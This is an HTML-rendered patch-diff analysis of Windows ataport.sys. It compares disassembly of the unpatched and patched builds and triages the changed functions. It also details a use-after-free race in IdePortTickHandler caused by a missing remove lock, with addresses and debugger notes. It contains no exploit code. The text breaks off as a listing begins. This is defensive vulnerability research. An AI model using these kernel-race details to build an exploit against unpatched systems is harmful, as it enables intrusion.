&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; UNPATCHED IdeProcessCompletedRequests (sub_1C000D8D0)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000DADB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1480&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; ListHead (controller_ext + 0x1480)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000DAE3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;408&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; ListEntry = req + 0x408&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000DAEA&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExpInterlockedPushEntrySList&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C000DAF6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r13&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;408&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="c1"&gt;; PATCHED IdeProcessCompletedRequests (sub_1C00036A0)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0003818&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1480&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; ListHead&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0003820&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;408&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; ListEntry = req + 0x408&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0003827&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;ExpInterlockedPushEntrySList&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0003833&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;408&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Reachability / Trigger&lt;/h2&gt;
&lt;p&gt;There is no security-relevant trigger to describe. The reset block runs on the transport-error retry path in both builds, so an attacker who reaches this code observes the same field-clearing behavior on either binary. The lookaside push at &lt;code&gt;controller_ext+0x1480&lt;/code&gt; is identical in both builds and clears no extra state in either. The &lt;code&gt;SrbData&lt;/code&gt;-derived values (&lt;code&gt;*(rdi+0x4F)&lt;/code&gt;, &lt;code&gt;*(rdi+0x50)&lt;/code&gt;, etc.) reach only the WPP trace call &lt;code&gt;WPP_SF_DDDDDqDDDDiDdd&lt;/code&gt;, so they do not feed a size, bounds, or transfer decision that could be corrupted by residual state.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive&lt;/h2&gt;
&lt;p&gt;None. No stale-state, type-confusion, or improper-initialization primitive is present, because the per-retry field reset exists in both builds and the differing code is a refactor. There is no delta that grants a controlled read, write, or size primitive.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Notes&lt;/h2&gt;
&lt;p&gt;To confirm the equivalence directly, compare the same request object at the retry-preparation site in both builds:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unpatched: break at &lt;code&gt;IdepInterpretTransportErrors + &amp;lt;offset&amp;gt;&lt;/code&gt; reaching &lt;code&gt;0x1C0004B73&lt;/code&gt;; the fields &lt;code&gt;+0x3EA/+0x3EB/+0x3F3/+0x410/+0x420/+0x428/+0x28&lt;/code&gt; are zeroed inline and &lt;code&gt;+0x23&lt;/code&gt; is conditionally bumped.&lt;/li&gt;
&lt;li&gt;Patched: break at &lt;code&gt;0x1C0007FBC&lt;/code&gt; (&lt;code&gt;call PrepareCrbForRetry&lt;/code&gt;); the helper &lt;code&gt;sub_1C000C700&lt;/code&gt; performs the identical zeroing and conditional bump.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The recycle sites (&lt;code&gt;0x1C000DAEA&lt;/code&gt; unpatched, &lt;code&gt;0x1C0003827&lt;/code&gt; patched) show the same operation in both builds and do not touch those fields.&lt;/p&gt;
&lt;p&gt;Image base for the disassembly listings is &lt;code&gt;0x1C0000000&lt;/code&gt;; rebase to the runtime load address of &lt;code&gt;ataport.sys&lt;/code&gt; (&lt;code&gt;lm m ataport&lt;/code&gt;, then &lt;code&gt;runtime = loadBase + (addr - 0x1C0000000)&lt;/code&gt;).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;h3&gt;Security fix (CWE-416 use-after-free)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;IdePortTickHandler&lt;/code&gt; (unpatched &lt;code&gt;0x1C000DFB0&lt;/code&gt; → patched &lt;code&gt;0x1C0004990&lt;/code&gt;)&lt;/strong&gt; (periodic timer DPC &lt;code&gt;DeferredRoutine&lt;/code&gt;). Matched by content/role across relocation, not address. The patched build acquires the device-extension remove lock (&lt;code&gt;IoAcquireRemoveLockEx&lt;/code&gt; on &lt;code&gt;[dev+0xB0]&lt;/code&gt;, call at &lt;code&gt;0x1C0004B51&lt;/code&gt;), checks the returned status (&lt;code&gt;test eax,eax; jns&lt;/code&gt;) and skips the device on failure, then releases it (&lt;code&gt;IoReleaseRemoveLockEx&lt;/code&gt; at &lt;code&gt;0x1C0004BFE&lt;/code&gt; and &lt;code&gt;0x1C0008C14&lt;/code&gt;) around the per-device timeout/reset work. The unpatched routine has &lt;strong&gt;zero&lt;/strong&gt; remove-lock calls in its body and used only &lt;code&gt;RefNextPdoExtensionWithTag&lt;/code&gt;/&lt;code&gt;UnRefPdoExtensionWithTag&lt;/code&gt; tag counting, which the device-teardown path (&lt;code&gt;RemovePdoExtension&lt;/code&gt;, &lt;code&gt;IoReleaseRemoveLockAndWaitEx&lt;/code&gt; at &lt;code&gt;0x1C0006C9A&lt;/code&gt;) does not wait on. Full analysis in Section 11.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Refactor (extract-helper / inline-callee) — not a security change&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;IdeProcessCompletedRequests&lt;/code&gt; (unpatched &lt;code&gt;sub_1C000D8D0&lt;/code&gt; → patched &lt;code&gt;sub_1C00036A0&lt;/code&gt;)&lt;/strong&gt; (ATA request completion routine). Similarity &lt;strong&gt;0.5168&lt;/strong&gt;. The patched routine inlines the error-interpretation logic that the unpatched build reached via a separate call to &lt;code&gt;IdepInterpretTransportErrors (sub_1C0004A3C)&lt;/code&gt; (now &lt;code&gt;IdeMapError&lt;/code&gt; is called at &lt;code&gt;0x1C0003A1F&lt;/code&gt; within the routine), and replaces the inline retry-reset with a call to &lt;code&gt;PrepareCrbForRetry (sub_1C000C700)&lt;/code&gt;. The SLIST recycle path is unchanged. No behavioral difference in the reset itself.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PrepareCrbForRetry (sub_1C000C700)&lt;/code&gt;&lt;/strong&gt; (NEW helper). Similarity 0.0 (no removed counterpart). Contains the field-zeroing + conditional retry-counter bump that existed inline in three unpatched functions. Called from three sites in the patched binary (&lt;code&gt;sub_1C00036A0&lt;/code&gt; at &lt;code&gt;0x1C0007FBC&lt;/code&gt;, &lt;code&gt;sub_1C000C53C&lt;/code&gt; at &lt;code&gt;0x1C000C659&lt;/code&gt;, &lt;code&gt;sub_1C000C9F4&lt;/code&gt; at &lt;code&gt;0x1C000CA7F&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;PrepareCrbForPioRetry (sub_1C0005A24) → sub_1C000C53C&lt;/code&gt;&lt;/strong&gt; (request re-issue / retry path). Similarity &lt;strong&gt;0.9214&lt;/strong&gt;. Inline field-zeroing block (&lt;code&gt;0x1C0005B3D&lt;/code&gt;–&lt;code&gt;0x1C0005B76&lt;/code&gt;) replaced by &lt;code&gt;call PrepareCrbForRetry&lt;/code&gt;. Semantically identical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ProcessParityError (sub_1C00056D0) → sub_1C000C9F4&lt;/code&gt;&lt;/strong&gt; (parity/CRC error handling). Similarity &lt;strong&gt;0.9329&lt;/strong&gt;. Inline field-zeroing block (&lt;code&gt;0x1C000576F&lt;/code&gt;–&lt;code&gt;0x1C00057A8&lt;/code&gt;) replaced by &lt;code&gt;call PrepareCrbForRetry&lt;/code&gt;. Caller is the (now inlined) transport-error interpreter. Semantically identical.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Cosmetic / compiler artifacts&lt;/h3&gt;
&lt;p&gt;The following are compiler restructurings with no semantic change:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;IdeInitCrbWithTaskFileAndDataPayload (sub_1C000C59C) → sub_1C0001444&lt;/code&gt;&lt;/strong&gt; (ATA command opcode dispatch switch). Similarity 0.9538. If/else cascade over &lt;code&gt;*(arg2+6)&lt;/code&gt; reordered; opcode mapping table identical.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceHandleDeviceTelemetryIoctl (sub_1C0024AD8) → sub_1C00294D8&lt;/code&gt;&lt;/strong&gt; (magic-number IRP dispatch). Similarity 0.9232. 64-bit magic-constant comparison restructured from two-test-and to subtract-and-test. Logic equivalent.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;ChannelFilterResourceRequirements (sub_1C0025BB0) → sub_1C002B1B0&lt;/code&gt;&lt;/strong&gt; (IRP-completion GUID / telemetry buffer parser). Similarity 0.9683. Compiler switched to wide vector register usage and renumbered labels. Allocation size arithmetic (count*0x20 + base, with overflow check) is identical.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;No other behavioral changes were identified across the remaining changed functions beyond register allocation and label reordering.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Direction&lt;/th&gt;
&lt;th&gt;Functions&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Removed (unpatched only)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Added (patched only)&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Note: &lt;code&gt;PrepareCrbForRetry (sub_1C000C700)&lt;/code&gt; appears as a &lt;em&gt;changed&lt;/em&gt; function (similarity 0.0) rather than &lt;em&gt;added&lt;/em&gt;. Functionally it is a new helper, but it has no removed counterpart because its reset logic was previously inlined in &lt;code&gt;IdepInterpretTransportErrors (sub_1C0004A3C)&lt;/code&gt;, &lt;code&gt;PrepareCrbForPioRetry (sub_1C0005A24)&lt;/code&gt;, and &lt;code&gt;ProcessParityError (sub_1C00056D0)&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High that the ATA error-retry refactor (Sections 2–9) is not a security-relevant change. This scope statement is about that refactor only; the separate &lt;code&gt;IdePortTickHandler&lt;/code&gt; remove-lock fix (Section 11) is a confirmed security change.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Rationale:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The per-retry reset block (&lt;code&gt;+0x3EB/+0x3F3/+0x428/+0x420/+0x3EA/+0x410&lt;/code&gt;, conditional bump of &lt;code&gt;+0x23&lt;/code&gt;, clear &lt;code&gt;+0x28&lt;/code&gt;, plus the &lt;code&gt;0x100&lt;/code&gt; requeue flag) is present in the &lt;strong&gt;unpatched&lt;/strong&gt; build in three functions (&lt;code&gt;0x1C0004B73&lt;/code&gt;, &lt;code&gt;0x1C0005B3D&lt;/code&gt;, &lt;code&gt;0x1C000576F&lt;/code&gt;). The patch only factors these into the shared helper &lt;code&gt;PrepareCrbForRetry (sub_1C000C700)&lt;/code&gt;. There is no build in which the reset is missing.&lt;/li&gt;
&lt;li&gt;The SLIST recycle path (&lt;code&gt;ExpInterlockedPushEntrySList&lt;/code&gt; at &lt;code&gt;0x1C000DAEA&lt;/code&gt; unpatched / &lt;code&gt;0x1C0003827&lt;/code&gt; patched) is identical and touches none of those fields in either build.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;SrbData&lt;/code&gt; fields (&lt;code&gt;+0x4F/+0x50/+0x48/+0x52..0x55&lt;/code&gt;) feed only the WPP trace call &lt;code&gt;WPP_SF_DDDDDqDDDDiDdd&lt;/code&gt;; they do not influence transfer size or any bounds decision.&lt;/li&gt;
&lt;li&gt;The size growth of the patched completion routine is explained by inlining &lt;code&gt;IdepInterpretTransportErrors&lt;/code&gt;'s error-mapping switch, not by added security logic.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;11. Added Finding — &lt;code&gt;IdePortTickHandler&lt;/code&gt; device-removal use-after-free (CWE-416)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium.
&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Use-after-free via device-removal race (CWE-416; the underlying defect is a missing removal-synchronization lock, CWE-362).
&lt;strong&gt;Function:&lt;/strong&gt; &lt;code&gt;IdePortTickHandler&lt;/code&gt; — unpatched &lt;code&gt;0x1C000DFB0&lt;/code&gt;, patched &lt;code&gt;0x1C0004990&lt;/code&gt; (relocated and rewritten; matched by content and role, not by address).
&lt;strong&gt;Status:&lt;/strong&gt; CONFIRMED, and omitted from the earlier triage.&lt;/p&gt;
&lt;h3&gt;The object and its remove lock&lt;/h3&gt;
&lt;p&gt;Each channel device extension carries an &lt;code&gt;IO_REMOVE_LOCK&lt;/code&gt; at offset &lt;code&gt;+0xB0&lt;/code&gt;, initialized once in both builds:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; UNPATCHED init (device-extension setup)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0021664&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; rdi = device extension = DeviceObject+0x40&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0021674&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;; Lock     ; the IO_REMOVE_LOCK&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C002167F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50656449&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="c1"&gt;; AllocateTag   ; &amp;#39;IdeP&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00216B2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; device key stored at +0x54&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00216B6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;..&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="c1"&gt;; RemlockSize&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C00216BE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoInitializeRemoveLockEx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Device teardown is &lt;code&gt;RemovePdoExtension (0x1C0006C0C)&lt;/code&gt;. It walks the channel's device hash table (keyed by &lt;code&gt;+0x54&lt;/code&gt;) under the channel spinlock (&lt;code&gt;[chan+0x98]&lt;/code&gt;), then blocks on the &lt;strong&gt;same&lt;/strong&gt; remove lock before unlinking and freeing the extension:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; RemovePdoExtension teardown wait (unpatched)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0006C8A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="c1"&gt;; RemoveLock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0006C91&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="c1"&gt;; RemlockSize&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0006C9A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoReleaseRemoveLockAndWaitEx&lt;/span&gt;
&lt;span class="c1"&gt;; ... then unlink from hash bucket and dec device count:&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0006CC1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;98&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1C0006CE1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dec&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;54&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;IoReleaseRemoveLockAndWaitEx&lt;/code&gt; waits only for holders of that &lt;code&gt;+0xB0&lt;/code&gt; remove lock. It does &lt;strong&gt;not&lt;/strong&gt; wait for the driver's own &lt;code&gt;RefNextPdoExtensionWithTag&lt;/code&gt;/&lt;code&gt;UnRefPdoExtensionWithTag&lt;/code&gt; tag counter. So any code that touches the device after a remove IRP arrives must hold the remove lock, or it races the free.&lt;/p&gt;
&lt;h3&gt;Unpatched: periodic tick touches the device with no remove lock&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;IdePortTickHandler&lt;/code&gt; is registered as a timer DPC &lt;code&gt;DeferredRoutine&lt;/code&gt; (&lt;code&gt;lea rdx, IdePortTickHandler; DeferredRoutine&lt;/code&gt; at &lt;code&gt;0x1C000E0AD&lt;/code&gt;/&lt;code&gt;0x1C000E0BC&lt;/code&gt; region of the DPC init). The unpatched body (&lt;code&gt;0x1C000DFB0&lt;/code&gt;–&lt;code&gt;0x1C000E115&lt;/code&gt;) enumerates PDO extensions with the tag counter and performs per-device timeout/reset work with &lt;strong&gt;no&lt;/strong&gt; remove-lock acquisition anywhere:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; UNPATCHED IdePortTickHandler — enumeration + per-device work, no remove lock&lt;/span&gt;
